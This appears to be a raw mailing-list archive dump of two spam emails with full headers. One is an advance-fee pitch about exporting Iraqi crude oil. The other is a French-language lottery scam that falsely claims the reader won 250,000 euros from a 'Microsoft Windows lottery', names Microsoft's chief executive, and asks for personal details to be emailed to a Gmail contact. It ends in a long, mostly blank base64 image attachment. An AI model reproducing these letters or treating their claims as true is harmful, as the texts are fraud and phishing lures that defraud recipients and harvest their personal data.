X-Barracuda-Apparent-Source-IP: 202.75.7.55 Received: from localhost (localhost.localdomain [127.0.0.1]) by webmail.dvs.gov.my (Postfix) with ESMTP id C0719CA00AD; Sun, 23 Feb 2014 13:42:21 +0800 (MYT) X-Virus-Scanned: amavisd-new at dvs.gov.my Received: from webmail.dvs.gov.my ([127.0.0.1]) by localhost (webmail.dvs.gov.my [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id ABBqxM1ewnJM; Sun, 23 Feb 2014 13:42:21 +0800 (MYT) Received: from webmail.dvs.gov.my (webmail.dvs.gov.my [10.19.79.26]) by webmail.dvs.gov.my (Postfix) with ESMTP id 82AF3CA0166; Sun, 23 Feb 2014 13:42:14 +0800 (MYT) Date: Sun, 23 Feb 2014 13:42:14 +0800 (MYT) From: Yung kyu kim Reply-To: Yung kyu kim Message-ID: <459796396.161815.1393134134402.JavaMail.root@dvs.gov.my> In-Reply-To: <578925151.161803.1393134130531.JavaMail.root@dvs.gov.my> Subject: MIME-Version: 1.0 X-ASG-Orig-Subj: Content-Type: multipart/alternative; boundary="----=_Part_161814_404812756.1393134134396" X-Originating-IP: [41.71.177.111] X-Mailer: Zimbra 7.2.0_GA_2669 (ZimbraWebClient - GC32 (Win)/7.2.0_GA_2669) To: undisclosed-recipients:; X-Barracuda-Connect: webmail.dvs.gov.my[202.75.7.55] X-Barracuda-Start-Time: 1393134394 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.96 X-Barracuda-Spam-Status: No, SCORE=1.96 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=ADVANCE_FEE_1, BSF_SC0_SA620a, HTML_MESSAGE, MISSING_SUBJECT, MISSING_SUBJECT_2, US_DOLLARS_3 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145410 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.17 US_DOLLARS_3 BODY: Mentions millions of $ ($NN,NNN,NNN.NN) 0.00 HTML_MESSAGE BODY: HTML included in message 0.01 MISSING_SUBJECT Missing Subject: header 0.00 ADVANCE_FEE_1 Appears to be advance fee fraud (Nigerian 419) 0.50 BSF_SC0_SA620a Custom Rule SA620a 1.28 MISSING_SUBJECT_2 Missing Subject: header ------=_Part_161814_404812756.1393134134396 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit Hello, The Project is about the exportation of 100,000 barrels of Light Crude Oil daily out from Iraq to Turkey through my client' s company in Iraq at the rate of $98.00 a barrel. This amount to $9,800,000 daily. I ask for your support as a foreigner to handle this business project with my client and you are not expected to invest in Iraq If yes, let me know and we will discuss this project proper. Kim. ------=_Part_161814_404812756.1393134134396 Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: quoted-printable <= div style=3D'font-family: arial,helvetica,sans-serif; font-size: 12pt; colo= r: #000000'>
Hello, 

The Project is about the exportat= ion of 100,000 barrels of Light Crude 
Oil daily out from Iraq to Turkey through my = client' s company in Iraq 
at the rate of $98.00 a barrel. This amount to $9,800,000= daily.  I ask 
for your support as a foreigner to handle this business project= with my 
client and you are not expected to invest in Iraq 
<= font face=3D"arial, helvetica, sans-serif">If yes, let me know and we will = discuss this project proper. 

Kim. 
------=_Part_161814_404812756.1393134134396-- From julien.chauvin1@orange.fr Sun Feb 23 02:24:30 2014 Return-Path: X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 400787F5D for ; Sun, 23 Feb 2014 02:24:30 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 195B430406B for ; Sun, 23 Feb 2014 00:24:29 -0800 (PST) X-ASG-Debug-ID: 1393143862-04cbb00c2b6f6da0001-w1Z2WR Received: from smtp.smtpout.orange.fr (smtp11.smtpout.orange.fr [80.12.242.133]) by cuda.sgi.com with ESMTP id 1ua6nRFNfBnBR40H for ; Sun, 23 Feb 2014 00:24:22 -0800 (PST) X-Barracuda-Envelope-From: julien.chauvin1@orange.fr X-Barracuda-Apparent-Source-IP: 80.12.242.133 Received: from wwinf1z26 ([10.223.68.100]) by mwinf5d21 with ME id VkQM1n00929o7YS03kQMQk; Sun, 23 Feb 2014 09:24:21 +0100 Date: Sun, 23 Feb 2014 09:24:21 +0100 (CET) From: julien chauvin Reply-To: julien chauvin To: "cbkpyu8@sina.com" Cc: "nicolas.lallemand19@orange.fr" Message-ID: <346207737.1360.1393143861382.JavaMail.www@wwinf1z26> Subject: =?UTF-8?B?VHI6IFJlOiBDT05GSVJNQVRJT04=?= =?UTF-8?B?4oCP4oCP4oCP4oCP4oCP4oCP4oCP4oCP4oCP4oCP?= =?UTF-8?B?4oCP4oCP4oCP4oCP4oCP4oCP4oCP4oCP4oCP4oCP?= MIME-Version: 1.0 X-ASG-Orig-Subj: =?UTF-8?B?VHI6IFJlOiBDT05GSVJNQVRJT04=?= =?UTF-8?B?4oCP4oCP4oCP4oCP4oCP4oCP4oCP4oCP4oCP4oCP?= =?UTF-8?B?4oCP4oCP4oCP4oCP4oCP4oCP4oCP4oCP4oCP4oCP?= Content-Type: multipart/mixed; boundary="----=_Part_1358_69954819.1393143861352" X-Country-Code: X-me-spamlevel: not-spam X-Cache-ID: Message-Context: email-message X-WUM-SignatureAdded: X-me-spamrating: 40.00 X-Cache-Entry: X-Wum-Nature: EMAIL-NATURE X-Originating-IP: 54.199.202.228 X-Message-Size: X-SAVECOPY: false X-National-Code: X-Wum-ChannelType: X-WUM-FROM: |~| X-WUM-TO: |~| X-WUM-CC: |~| X-WUM-CCI: |~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~| X-WUM-REPLYTO: |~| X-Barracuda-Connect: smtp11.smtpout.orange.fr[80.12.242.133] X-Barracuda-Start-Time: 1393143862 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: -1001.00 X-Barracuda-Spam-Status: No, SCORE=-1001.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 ------=_Part_1358_69954819.1393143861352 Content-Type: multipart/alternative; boundary="----=_Part_1359_1057088024.1393143861352" ------=_Part_1359_1057088024.1393143861352 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit ------=_Part_1359_1057088024.1393143861352 Content-Type: text/html; charset=UTF-8 Content-Transfer-Encoding: quoted-printable  


Objet :
 FW: tr: FW:Fwd : Donaci=C3=B3n

 

  >  > ----- Original Message ----- > ----- Original Message ----- > -----           &nbs= p;            &= nbsp;     
>  > Original Message -----        

Bonjour Mme / Mr,

 

Nous vous contactons par ce= tte pr=C3=A9sente lettre pour vous informer que vous =C3=AAtes b=C3=A9n=C3=A9fi= ciaire de la somme de 250.000 EURO =C3=A0 la LOTERIE MICROSOFT WINDOWS.<= /span> Ceci n'=C3=A9tant don= c pas un spam ni un virus, veuillez trouver en fichier joint votre notification de g= ain. Pour la r=C3=A9clamation de votre gain veuillez entrer en contact direct av= ec Ma=C3=AEtre JEROME BUZENET par courrier =C3=A9lectronique :



Ma=C3=AEtre
  JEROME BUZENET

E -mail: jerome.buzenet01@gmail.com

 


T=C3=A9l:&nbs= p;
00225 67 78  12  = 20
Nous souhaito= ns que vous nous confirmer votre identit=C3=A9 pour  l'=C3=A9tablissement de votre doss= ier gagnant.
Nom:
Pr=C3=A9nom:<= /span>
Adresse:
Ville:=
Pays:<= /strong>
Tel:
Mobile: =
Profession:

Veuillez directement r=C3= =A9pondre =C3=A0 l'adresse Ma=C3=AEtre JEROME BUZENET. Recevez tou= tes les f=C3=A9licitations du groupe MICROSOFT BILL GATES FONDATION= .

Mr Satya Nadella

Directeur Des Op=C3=A9ratio= ns

MICROSOFT BILL GATES FONDATION

Laurence Klaric
 

3D"https://a.gfx.ms/i_safe.gif" &= nbsp;           3D"https://a.gfx.ms/i_safe.=

 

3D"https://a.gfx.ms/i_safe.gif"=

 

 

------=_Part_1359_1057088024.1393143861352-- ------=_Part_1358_69954819.1393143861352 Content-Type: image/jpeg Content-Transfer-Encoding: base64 Content-Disposition: attachment; size=837548; size=837548; filename="=?utf-8?B?MjAwOS4wOSAtIFByw6p0cyBwb3VyIGxlcyBmw6p0ZXMgZGUgQmF5b25uZS5q?= =?utf-8?Q?pg.JPG?=" Qk3WVgkAAAAAADYAAAAoAAAANgIAAGgBAAABABgAAAAAAAAAAADEDgAAxA4AAAAAAAAAAAAA//// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// 